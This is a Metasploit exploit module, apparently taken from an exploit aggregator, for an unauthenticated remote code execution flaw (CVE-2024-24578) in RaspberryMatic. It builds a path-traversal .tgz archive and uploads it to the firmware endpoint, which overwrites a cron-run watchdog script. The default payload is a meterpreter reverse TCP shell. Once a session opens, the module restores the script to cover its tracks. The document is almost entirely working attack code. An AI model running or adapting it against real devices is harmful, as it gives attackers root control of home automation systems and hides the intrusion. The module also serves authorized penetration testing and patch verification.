## https://sploitus.com/exploit?id=1337DAY-ID-39930
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.',
'Description' => %q{
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple
issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached
through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`.
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be
automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to
break out of the predefined temp directory and write files to other locations outside this path.
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files
on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
`/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers
can gain remote code execution as root user, allowing a full system compromise.
RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'h0ng10 <https://git.hub/h0ng10>' # discovery of this vulnerability
],
'References' => [
['CVE', '2024-24578'],
['URL', 'https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578'],
['URL', 'https://github.com/jens-maus/RaspberryMatic/security/advisories/GHSA-q967-q4j8-637h']
],
'DisclosureDate' => '2024-03-16',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/aarch64/meterpreter_reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'WfsDelay' => 5 * 60 # wait at least five minutes for RCE
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The RaspberryMatic endpoint URL', '/' ]),
])
end
# Method to construct malicious file in .tgz form
# @param payload [String] to upload
# @param fpath [String] to write the payload contents
# @return [Rex::Text] Malicious .tgz form
def create_malicious_tgz(payload, fpath)
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file(fpath.to_s, 0o777) do |io|
io.write payload
end
end
# tarfile.rewind
# tarfile.close
Rex::Text.gzip(tarfile.string)
end
# CVE-2024-24578: remote code execution via zip slip overwriting watchdog script
# affected components:
# web endpoint /pages/jpages/system/DeviceFirmware/addFirmware
# shell script /usr/local/addons/mediola/bin/watchdog
def execute_command(cmd, _opts = {})
# create malicious compressed tar file (tgz) to overwrite watchdog script
# with malicious payload triggering the RCE
fname = Rex::Text.rand_text_alphanumeric(8..12)
fpath = '../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog'
payload_tgz = create_malicious_tgz(cmd, fpath)
# construct multipart form data
form_data = Rex::MIME::Message.new
form_data.add_part(payload_tgz, 'application/gzip', 'binary', "form-data; name=\"file\"; filename=\"#{fname}.tgz\"")
# upload the malicious tgz file
print_status("Uploading #{fname}.tgz")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pages', 'jpages', 'system', 'DeviceFirmware', 'addFirmware'),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
fail_with(Failure::NoAccess, "Upload #{fname}.tgz is not successful.") unless res&.code == 200 && res.body.include?('${addDevFirmwareInfoCorrupt}')
print_status('Waiting 5 minutes for watchdog execution via cron to trigger the RCE.')
end
def on_new_session(session)
# restore orginal watchdog script to cover our tracks
print_status('Restoring original watchdog script.')
if session.type == 'meterpreter'
session.sys.process.execute('/bin/sh', '-c "echo -ne \'#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n\' > /usr/local/addons/mediola/bin/watchdog"')
session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
session.sys.process.execute('/bin/sh', '-c "echo -ne \'PIDOFD=\$(pgrep -f \"neo_server.*automation.js\")\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -z \"\$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n\' >> /usr/local/addons/mediola/bin/watchdog"')
else
session.shell_command_token("echo -ne '#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n' > /usr/local/addons/mediola/bin/watchdog")
session.shell_command_token("echo -ne 'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n' >> /usr/local/addons/mediola/bin/watchdog")
session.shell_command_token("echo -ne 'PIDOFD=$(pgrep -f \"neo_server.*automation.js\")\n\n' >> /usr/local/addons/mediola/bin/watchdog")
session.shell_command_token("echo -ne 'if [ -z \"$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n' >> /usr/local/addons/mediola/bin/watchdog")
end
super
end
def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/config/help.cgi')
})
return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('${dialogHelpInfoLblVersion}')
# parse the version number
# Examples:
# ${dialogHelpInfoLblVersion} 3.73.9.20240130
# ${dialogHelpInfoLblVersion} 3.73.9
version = res.body.match(/\$\{dialogHelpInfoLblVersion\}\s*\d{1,2}\.\d{1,2}\.\d{1,2}/)
# when found, remove whitespaces to avoid suprises in string splitting and comparison
unless version.nil?
version_number = version[0].gsub(/[[:space:]]/, '').split('}')[1]
# Check if target is vulnerable
if version_number
if Rex::Version.new(version_number) <= Rex::Version.new('3.73.9')
return CheckCode::Appears("RaspberryMatic #{version_number}")
else
return CheckCode::Safe("RaspberryMatic #{version_number}")
end
end
end
CheckCode::Unknown("Parsing version info from #{normalize_uri(target_uri.path, '/config/help.cgi')} failed.")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
end
end